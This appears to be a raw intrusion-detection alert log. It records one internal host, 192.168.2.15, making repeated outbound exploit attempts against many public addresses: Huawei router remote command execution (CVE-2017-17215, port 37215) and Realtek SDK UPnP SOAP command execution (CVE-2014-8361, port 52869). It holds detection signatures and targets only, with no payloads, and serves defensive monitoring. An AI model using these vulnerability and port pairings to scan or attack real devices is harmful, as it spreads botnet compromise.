Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.51.245.125

Timestamp:	07/20/24-23:10:52.607833
SID:	2829579
Source Port:	60932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 18.33.239.61

Timestamp:	07/20/24-23:10:52.062286
SID:	2027339
Source Port:	44964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.171.76.37

Timestamp:	07/20/24-23:10:52.558618
SID:	2829579
Source Port:	59718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.43.151.167

Timestamp:	07/20/24-23:10:52.517494
SID:	2829579
Source Port:	42422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 206.191.124.100

Timestamp:	07/20/24-23:11:03.378465
SID:	2829579
Source Port:	33708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 66.29.130.220

Timestamp:	07/20/24-23:10:51.899861
SID:	2027339
Source Port:	44826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.227.47.61

Timestamp:	07/20/24-23:11:06.680205
SID:	2829579
Source Port:	33620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.165.2.246

Timestamp:	07/20/24-23:10:42.263488
SID:	2829579
Source Port:	39050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.228.38.103

Timestamp:	07/20/24-23:10:56.002189
SID:	2835222
Source Port:	34798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.212.128.84

Timestamp:	07/20/24-23:10:46.739331
SID:	2829579
Source Port:	57206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.174.16.208

Timestamp:	07/20/24-23:10:59.029814
SID:	2829579
Source Port:	40188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 202.116.72.105

Timestamp:	07/20/24-23:10:51.940743
SID:	2831300
Source Port:	59454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 222.252.7.7

Timestamp:	07/20/24-23:10:52.045896
SID:	2831300
Source Port:	59166
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.104.211.49

Timestamp:	07/20/24-23:10:42.253016
SID:	2829579
Source Port:	53136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 101.108.145.138

Timestamp:	07/20/24-23:10:45.375206
SID:	2027339
Source Port:	40382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 65.58.210.176

Timestamp:	07/20/24-23:10:42.620951
SID:	2831300
Source Port:	49268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 46.156.254.69

Timestamp:	07/20/24-23:10:51.966762
SID:	2027339
Source Port:	34962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.22.59.86

Timestamp:	07/20/24-23:10:52.581034
SID:	2835222
Source Port:	33798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.183.21.37

Timestamp:	07/20/24-23:11:03.361258
SID:	2835222
Source Port:	58542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 43.91.208.66

Timestamp:	07/20/24-23:10:43.798813
SID:	2027339
Source Port:	52460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 103.118.11.148

Timestamp:	07/20/24-23:10:52.006529
SID:	2831300
Source Port:	34324
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.112.10.96

Timestamp:	07/20/24-23:11:03.396635
SID:	2829579
Source Port:	57850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 196.162.5.87

Timestamp:	07/20/24-23:10:44.644043
SID:	2027339
Source Port:	40432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 181.65.248.166

Timestamp:	07/20/24-23:10:44.656962
SID:	2027339
Source Port:	47780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 198.78.111.199

Timestamp:	07/20/24-23:10:51.984755
SID:	2027339
Source Port:	60138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.83.70.155

Timestamp:	07/20/24-23:10:46.778936
SID:	2835222
Source Port:	35920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.156.4.216

Timestamp:	07/20/24-23:10:46.817180
SID:	2829579
Source Port:	49752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 92.216.196.59

Timestamp:	07/20/24-23:10:51.906948
SID:	2831300
Source Port:	39540
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.55.118.235

Timestamp:	07/20/24-23:10:42.248264
SID:	2835222
Source Port:	39340
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.244.223.55

Timestamp:	07/20/24-23:10:51.970585
SID:	2027339
Source Port:	38298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.65.62.180

Timestamp:	07/20/24-23:10:42.273908
SID:	2835222
Source Port:	33120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 62.34.29.252

Timestamp:	07/20/24-23:10:52.538168
SID:	2829579
Source Port:	60798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 57.98.148.229

Timestamp:	07/20/24-23:10:51.940105
SID:	2027339
Source Port:	45534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.199.32.90

Timestamp:	07/20/24-23:10:59.023708
SID:	2835222
Source Port:	57332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 50.80.239.207

Timestamp:	07/20/24-23:10:52.549474
SID:	2829579
Source Port:	59808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.217.29.78

Timestamp:	07/20/24-23:10:47.923877
SID:	2027339
Source Port:	59786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.219.76.223

Timestamp:	07/20/24-23:10:59.055793
SID:	2829579
Source Port:	59168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.229.107.116

Timestamp:	07/20/24-23:11:06.683012
SID:	2829579
Source Port:	49286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.210.203.242

Timestamp:	07/20/24-23:10:41.232616
SID:	2829579
Source Port:	38164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 175.237.79.153

Timestamp:	07/20/24-23:10:52.062286
SID:	2027339
Source Port:	58990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.168.5.78

Timestamp:	07/20/24-23:10:56.024382
SID:	2835222
Source Port:	46170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 185.140.178.36

Timestamp:	07/20/24-23:10:47.580964
SID:	2027339
Source Port:	49796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.176.134.19

Timestamp:	07/20/24-23:10:59.012072
SID:	2835222
Source Port:	48662
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.115.200.222

Timestamp:	07/20/24-23:10:39.434366
SID:	2829579
Source Port:	37000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 212.22.178.123

Timestamp:	07/20/24-23:10:42.621912
SID:	2027339
Source Port:	41542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 171.98.191.97

Timestamp:	07/20/24-23:10:51.923394
SID:	2027339
Source Port:	60752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 204.13.73.202

Timestamp:	07/20/24-23:10:39.160044
SID:	2027339
Source Port:	43136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 86.176.66.84

Timestamp:	07/20/24-23:10:56.030930
SID:	2835222
Source Port:	58026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 17.198.192.63

Timestamp:	07/20/24-23:10:39.089913
SID:	2025132
Source Port:	47418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 123.107.246.76

Timestamp:	07/20/24-23:10:59.006202
SID:	2835222
Source Port:	59482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.142.250.142

Timestamp:	07/20/24-23:11:06.686627
SID:	2829579
Source Port:	46414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 208.102.27.6

Timestamp:	07/20/24-23:10:39.177644
SID:	2027339
Source Port:	38954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.21.7.132

Timestamp:	07/20/24-23:10:40.662520
SID:	2835222
Source Port:	54186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.77.154.218

Timestamp:	07/20/24-23:10:59.055793
SID:	2835222
Source Port:	36708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 48.171.160.205

Timestamp:	07/20/24-23:10:47.624071
SID:	2027339
Source Port:	35990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.34.214.1

Timestamp:	07/20/24-23:10:42.263488
SID:	2835222
Source Port:	34470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.91.41.148

Timestamp:	07/20/24-23:10:42.250388
SID:	2835222
Source Port:	42248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 141.170.58.184

Timestamp:	07/20/24-23:10:51.898652
SID:	2831300
Source Port:	57802
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 151.138.171.183

Timestamp:	07/20/24-23:10:52.021521
SID:	2027339
Source Port:	38514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 132.40.118.189

Timestamp:	07/20/24-23:10:45.666098
SID:	2025132
Source Port:	53780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.246.166.200

Timestamp:	07/20/24-23:10:39.433488
SID:	2829579
Source Port:	51110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.217.178.217

Timestamp:	07/20/24-23:10:52.571075
SID:	2835222
Source Port:	58172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 122.79.202.98

Timestamp:	07/20/24-23:10:44.354826
SID:	2025132
Source Port:	39302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 179.68.218.110

Timestamp:	07/20/24-23:10:59.046417
SID:	2829579
Source Port:	40560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 169.184.79.124

Timestamp:	07/20/24-23:10:47.910067
SID:	2027339
Source Port:	37582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.243.188.46

Timestamp:	07/20/24-23:10:49.409236
SID:	2835222
Source Port:	52142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.133.163.120

Timestamp:	07/20/24-23:10:49.383600
SID:	2835222
Source Port:	50424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.180.153.162

Timestamp:	07/20/24-23:10:40.616009
SID:	2835222
Source Port:	35578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.5.231.102

Timestamp:	07/20/24-23:10:52.538168
SID:	2829579
Source Port:	59130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 124.198.16.179

Timestamp:	07/20/24-23:11:03.406798
SID:	2835222
Source Port:	44780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 118.195.136.102

Timestamp:	07/20/24-23:11:06.696229
SID:	2835222
Source Port:	58472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 57.100.65.212

Timestamp:	07/20/24-23:10:51.951774
SID:	2831300
Source Port:	55884
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 13.188.140.147

Timestamp:	07/20/24-23:10:51.984756
SID:	2831300
Source Port:	52876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 175.251.123.186

Timestamp:	07/20/24-23:10:40.599066
SID:	2829579
Source Port:	46876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.210.67.115

Timestamp:	07/20/24-23:10:52.546429
SID:	2835222
Source Port:	59578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.170.246.100

Timestamp:	07/20/24-23:10:59.057854
SID:	2829579
Source Port:	44800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.106.110.233

Timestamp:	07/20/24-23:10:41.227634
SID:	2835222
Source Port:	38590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.3.163.253

Timestamp:	07/20/24-23:10:46.739331
SID:	2829579
Source Port:	57516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.58.115.194

Timestamp:	07/20/24-23:10:49.428717
SID:	2835222
Source Port:	49394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 129.146.5.212

Timestamp:	07/20/24-23:10:44.739577
SID:	2025132
Source Port:	55860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 78.179.192.192

Timestamp:	07/20/24-23:10:52.008043
SID:	2831300
Source Port:	35878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.253.47.96

Timestamp:	07/20/24-23:10:41.241455
SID:	2829579
Source Port:	34070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 223.179.196.98

Timestamp:	07/20/24-23:10:43.874968
SID:	2025132
Source Port:	52408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 72.244.52.162

Timestamp:	07/20/24-23:10:42.620129
SID:	2831300
Source Port:	43006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.252.36.217

Timestamp:	07/20/24-23:10:42.266162
SID:	2829579
Source Port:	44894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 175.237.79.153

Timestamp:	07/20/24-23:10:48.420135
SID:	2027339
Source Port:	56410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 194.217.196.209

Timestamp:	07/20/24-23:10:42.621194
SID:	2831300
Source Port:	57786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.166.135.26

Timestamp:	07/20/24-23:11:06.641258
SID:	2829579
Source Port:	60474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.81.113.18

Timestamp:	07/20/24-23:10:49.409236
SID:	2835222
Source Port:	55142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 137.22.60.132

Timestamp:	07/20/24-23:10:42.642009
SID:	2025132
Source Port:	41286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 223.235.87.4

Timestamp:	07/20/24-23:10:51.925000
SID:	2831300
Source Port:	41174
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.200.28.4

Timestamp:	07/20/24-23:10:49.409236
SID:	2835222
Source Port:	48168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 166.167.121.109

Timestamp:	07/20/24-23:10:42.639392
SID:	2027339
Source Port:	36760
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 79.135.225.176

Timestamp:	07/20/24-23:10:52.578509
SID:	2829579
Source Port:	58006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.137.222.201

Timestamp:	07/20/24-23:11:03.368250
SID:	2835222
Source Port:	45136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 13.129.217.20

Timestamp:	07/20/24-23:10:45.064942
SID:	2025132
Source Port:	38992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 181.65.248.166

Timestamp:	07/20/24-23:10:51.970585
SID:	2027339
Source Port:	49244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 123.14.61.21

Timestamp:	07/20/24-23:10:44.554759
SID:	2025132
Source Port:	38366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 90.4.66.163

Timestamp:	07/20/24-23:10:42.661464
SID:	2027339
Source Port:	38748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.168.213.155

Timestamp:	07/20/24-23:10:59.027427
SID:	2829579
Source Port:	38444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 35.148.136.213

Timestamp:	07/20/24-23:10:59.012071
SID:	2835222
Source Port:	36778
Destination Port:	37215
